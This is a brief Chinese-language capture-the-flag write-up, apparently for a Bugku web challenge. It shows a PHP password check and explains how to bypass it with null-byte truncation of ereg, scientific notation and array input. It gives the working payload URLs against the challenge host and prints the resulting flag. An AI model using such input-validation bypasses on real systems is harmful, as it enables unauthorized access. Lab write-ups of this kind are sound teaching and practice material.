<?php $flag = "xxx"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo 'You password must be alphanumeric '; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置 { die('Flag: ' . $flag); } else { echo('- have not been found'); } } else { echo 'Invalid password'; } } ?>
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的
用正则匹配,如果有^[a-zA-Z0-9]+$则直接错误,我们可以用%00来截断,在%00之后的数值函数无法识别
同时满足 strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
长度跟数值本来就矛盾,我们可以用1e8 即1x10的八次方或者用数组绕过
payload
http://123.206.87.240:9009/5.php?password=1e8%00-
返回值的结果没有flag
不知道是不是题目出错了还是故意的
最终的payload
http://123.206.87.240:9009/5.php?password=1e8%00*-*
http://123.206.87.240:9009/5.php?password[]=*-*%00
Flag: flag{bugku-dm-sj-a12JH8}